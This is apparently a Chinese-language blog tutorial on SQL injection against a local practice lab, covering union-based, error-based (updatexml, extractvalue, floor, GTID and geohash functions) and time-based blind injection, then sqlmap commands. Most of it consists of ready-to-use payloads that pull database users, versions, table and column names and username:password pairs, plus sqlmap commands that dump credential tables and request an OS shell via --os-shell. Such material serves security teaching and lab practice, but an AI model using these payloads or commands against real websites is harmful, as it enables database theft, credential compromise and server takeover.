安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用

目录

一、sql注入原理 

二、联合SQL注入的方法

1.总体的思路

(1)先进行闭合,进行报错

(2)进行逃逸

(3)外带数据

(4)获取库名 表名 列名 数据

(5)获取当前数据库中的数据

2.SQL注入测试

(1)先进行单双引号闭合,让页面出现页面报错

(2)然后看有几列,有两种方法

(3)查数据库用户名、库名、数据库版本。

(4)查看当前数据库下的所有表名

(5)查看当前数据库下的users表中的列名称

(6)根据上述的名称进行获取用户信息

三、SQL报错注入

1.七大报错注入函数(前三个一般比较常用,后面的函数也需要知道防止前三个被waf过滤)

(1)updatexml

(2)extractvalue

(3)floor

(4)ST_LatFromGeoHash()(mysql>=5.7.x)

(5)ST_LongFromGeoHash(mysql>=5.7.x)

(6)GTID (MySQL >= 5.6.X - 显错<=200)

(7)ST_Pointfromgeohash (mysql>=5.7)

四、时间盲注

1.判断他是否沉睡

2.利用sqlmap进行时间注入测试

(1)打开kali

(2)用浏览器访问我们注入的网站

(3)打开终端输入

(4)获取到注入点后,复制粘贴注入点

(5)在网页上进行注入测试

(6)在利用sqlmap进行一个数据库名的爆破

(7)爆破表名

(8)爆破该数据库下的表名中的列

(9)爆破出该数据库下的表名和列名后,将他的数据爆破出来

(10)判断当前用户信息

(11)查看是否可以进行上传文件或者爆破出路径


一、sql注入原理 

        我们知道,一般的网页需要结合用户输入的数据来去构造数据库,如果我们的用户输入恶意的SQL语句,而我们的开发人员又没有对语句进行严格的过滤,服务器使用参数构建数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行,就会产生sql注入。

二、联合SQL注入的方法

1.总体的思路

(1)先进行闭合,进行报错

(2)进行逃逸

(3)外带数据

(4)获取库名 表名 列名 数据

(5)获取当前数据库中的数据

2.SQL注入测试

(1)先进行单双引号闭合,让页面出现页面报错

?id=1'

(2)然后看有几列,有两种方法

a、order by 1,2....(优先推荐)

b、union select 1,2,...不停的去试。(不推荐)

?id=1' order by 1,2,3 --+

(3)查数据库用户名、库名、数据库版本。

注意:union前面需要为假,后面才可以执行

查用户名

?id=-1' union select 1,user(),3 --+

查库名

?id=-1' union select 1,database(),3 --+

查数据库的版本

?id=-1' union select 1,version(),2 --+

(4)查看当前数据库下的所有表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schem='security'),3 --+

(5)查看当前数据库下的users表中的列名称

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

(6)根据上述的名称进行获取用户信息

?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),3 --+

三、SQL报错注入

1.七大报错注入函数(前三个一般比较常用,后面的函数也需要知道防止前三个被waf过滤)

(1)updatexml

updatexml(1,1,1) 一共三个参数,报错的位置在第二个参数的位置

?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

(2)extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错的位置在第二个参数的位置

?id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+

(3)floor

获取数据库的版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取users表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

(4)ST_LatFromGeoHash()(mysql>=5.7.x)

and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

(5)ST_LongFromGeoHash(mysql>=5.7.x)

and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

(6)GTID (MySQL >= 5.6.X - 显错<=200)

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集) GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

​ ') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+   GTID_SUBTRACT ​ ') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

(7)ST_Pointfromgeohash (mysql>=5.7)

获取数据库版本信息

')or ST_PointFromGeoHash(version(),1)--+

获取表数据

')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

获取users表里的段名

')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

获取字段里面的数据

')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

四、时间盲注

1.判断他是否沉睡

id=1' and if(ascii(substr(user(),1,1))=114, sleep(3),0) --+

2.利用sqlmap进行时间注入测试

(1)打开kali

(2)用浏览器访问我们注入的网站

(3)打开终端输入

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" 

(4)获取到注入点后,复制粘贴注入点

(5)在网页上进行注入测试

(6)在利用sqlmap进行一个数据库名的爆破

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" --dbs

(7)爆破表名

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security --tables

(8)爆破该数据库下的表名中的列

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security -T users --columns

(9)爆破出该数据库下的表名和列名后,将他的数据爆破出来

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security -T users --dump -C "username,password"

(10)判断当前用户信息

sqlmap "http://192.168.191.1/sql/less-8/index.php?id=1" --current-user

(11)查看是否可以进行上传文件或者爆破出路径

sqlmap -u "http://192.168.191.1/sql/index.php?id=1" --os-shell

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/38643.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

自动驾驶商用驶入“快车道”,汽车软件厂商如何“抢市”?

L3级及以上自动驾驶的商业化进程正在驶入“快车道”。 一方面&#xff0c;高阶自动驾驶的相关法规及标准不断出台&#xff0c;为自动驾驶行业的发展注入了“强心剂”。 比如工业和信息化部副部长辛国斌就曾表示&#xff0c;将启动智能网联汽车准入和上路通行试点&#xff0c;…

freemarker模板在客服域的使用场景及用法介绍

&#x1f34a; Java学习&#xff1a;社区快速通道 &#x1f34a; 深入浅出RocketMQ设计思想&#xff1a;深入浅出RocketMQ设计思想 &#x1f34a; 绝对不一样的职场干货&#xff1a;大厂最佳实践经验指南 &#x1f4c6; 最近更新&#xff1a;2023年7月15日 &#x1f34a; 点…

垃圾收集器CMS-JVM(十一)

Jvm类的创建过程包括类的加载&#xff0c;类的验证&#xff0c;准备&#xff0c;分析&#xff0c;初始化。 验证是不是.class文件。 准备过程则是先赋值初始化的值&#xff0c;并不是直接赋值原始值。 分析比较复杂&#xff0c;会有静态链接处理和动态链接处理。 最后就是类…

uni-app:scroll-view滚动盒子,实现横(纵)向滚动条

参照&#xff1a;scroll-view | uni-app官网 (dcloud.net.cn) 样式&#xff1a; 代码&#xff1a; <template><view class"box"><scroll-view scroll-x"true" class"scroll"><view class"box1"> <view c…

使用Vue + FormData + axios实现图片上传功能实战

前言 上节回顾 上一小节中,我们添加了Vue-router的路有数据,这些数据都将是后续实战课程中的真实路由数据了。同时引入了ElementUI的el-menu做为左侧菜单的组件,但本专栏的特点就是遇到第三方功能和组件,自己尽量也要实现一遍,所以,在文章末尾又自己实现了一个tg-menu的…

Docker 安装 Nginx,并实现负载均衡

1、获取 nginx 的镜像 # 默认是latest版本docker pull nginx 2、运行 nginx 容器 docker run --name nginx-80 -p 80:80 --rm -d nginx# --name nginx-80 设定容器的名称# -p 80:80 端口进行映射&#xff0c;将本地的80端口映射到容器内部的80端口# --rm 表示容器退出后直接…

gogs的自定义配置

在 GOGS 下载并安装后&#xff0c;在程序目录下建立一个custom/conf/app.ini的配置文件&#xff0c;内容如下&#xff1a; APP_NAME Gogs # APP名字 RUN_USER git # 启动用户&#xff0c;设置后只能以此账号启动gogs RUN_MODE prod[database] DB_TYPE mysql HOST 1…

热门二叉树面试题

606. 根据二叉树创建字符串 - 力扣&#xff08;LeetCode&#xff09; 给你二叉树的根节点 root &#xff0c;请你采用前序遍历的方式&#xff0c;将二叉树转化为一个由括号和整数组成的字符串&#xff0c;返回构造出的字符串。 空节点使用一对空括号对 "()" 表示&a…

SpringCloud整合Sentinel

文章目录 1、Sentinel介绍2、安装Sentinel控制台3、微服务整合Sentinel 1、Sentinel介绍 阿里开源的流量控制组件官网&#xff1a;https://sentinelguard.io/zh-cn/index.html承接了阿里双十一大促流量的核心场景&#xff0c;如秒杀、消息削峰填谷、集群流量控制、实时熔断下游…

vue+relation-graph绘制关系图实用组件

先在终端执行命令 vue create relationgraph创建一个vue2的项目 然后在编辑器中打开新创建的项目 在终端中执行命令 npm install relation-graph --save引入依赖 这样 我们relation-graph就进来了 然后 我们在需要使用的组件中编写代码如下 <template><div>&…

MyBatis 系列2 -- 增加、删除、修改操作

1. 前言 上一系列介绍了MyBatis的背景,以及为什么我们使用MyBatis进行操作数据库,还实现了使用MyBatis进行查询数据库的,接下来我们继续将使用MyBatis操作数据库的其他三种基本操作进行总结. 目录 1. 前言 2. 增加用户操作 3. 修改用户操作 4. 删除用户操作 5. 多表查询操…

3. CSS-定位

absolute和relative依据什么定位? relative依据自身定位,absolute 依据最近一层的定位元素定位 (定位元素是指开启了absolute relative fixed的父元素,没有就是根元素body) 居中对齐的实现方式:详情看这篇博客

webpack-theme-color-replacer+elementui自定义配置主题色

webpack-theme-color-replacer原理是通过获取到配置数组里的颜色值&#xff0c;在触发换色方法时&#xff0c;elementui使用的颜色值存在与配置表中颜色一致的颜色&#xff0c;则改颜色会被替换成新的颜色值。 若是自定义的css文件&#xff0c;需要配置css文件路径 若是需要修…

如何应对黑产进行验证图片资源遍历

第一期&#xff0c;我们分享的攻防点是&#xff1a;验证图片资源遍历。 “遍历”指黑产通过穷举法获得所有验证码图片的答案&#xff0c;以便能在未来彻底无视验证码。由于验证码主要是通过图片语义答案来识别人机&#xff0c;因此攻破这层防御最有效的方式就是遍历该验证码图…

【数据结构】二叉树的前中后序遍历(C语言)

文章目录 什么是二叉树树相关的概念树的表示形式特殊的二叉树如何创造出一棵二叉树二叉树的遍历先序遍历(前序遍历)中序遍历后序遍历 总结 什么是二叉树 [二叉树] 顾名思义就是有两个分支节点的树&#xff0c;不仅如此&#xff0c;除了叶子外的所有节点都具有两个分支节点&…

matlab入门

命名规则&#xff1a; clc&#xff1a;清除命令行的所有命令 clear all&#xff1a;清除所有工作区的内容 注释&#xff1a;两个% 空格 %% matlab的数据类型 1、数字 3 3 * 5 3 / 5 3 5 3 - 52、字符与字符串 s a %% 求s的ascill码 abs(s) char(97) num2str(65) str I…

curl: (56) Recv failure : Connection reset by peer

文章目录 背景原因可能如下1. 服务器端关闭了连接2. 网络问题3. 防火墙或代理问题4. 服务器负载过高 解决办法 背景 docker容器里有http服务&#xff0c;今天在docker容器重启时&#xff0c;去调用http接口&#xff0c;出现了以下错误&#xff1a; curl: (56) Recv failure :…

记一次ruoyi中使用Quartz实现定时任务

一、首先了解一下Quartz Quartz是OpenSymphony开源组织在Job scheduling领域又一个开源项目&#xff0c;它可以与J2EE与J2SE应用程序相结合也可以单独使用。Quartz可以用来创建简单或为运行十个&#xff0c;百个&#xff0c;甚至是好几万个Jobs这样复杂的程序。Jobs可以做成标…

Deepin/UOS Linux 桌面自定义 IDEA/DataGrip 应用程序图标

在 $HOME/Desktop目录下编辑 vim jetbrains.intelij.idea.desktop [Desktop Entry] TypeApplication NameIntelij IDEA Icon/opt/module/idea-IU-203.8084.24/bin/idea.png Exec/opt/module/idea-IU-203.8084.24/bin/idea.sh Terminalfalse CategoriesDevelopment;IDE;vim je…

自动化运维工具——Ansible学习(二)

目录 一、handlers和notify结合使用触发条件 1.新建httpd.yml文件 2.复制配置文件到ansible的files目录中 3.卸载被控机已安装的httpd 4.执行httpd.yml脚本 5.更改httpd.conf配置文件 6.使用handlers 7.重新执行httpd.yml脚本 8.检查被控机的端口号是否改变 9.handle…
最新文章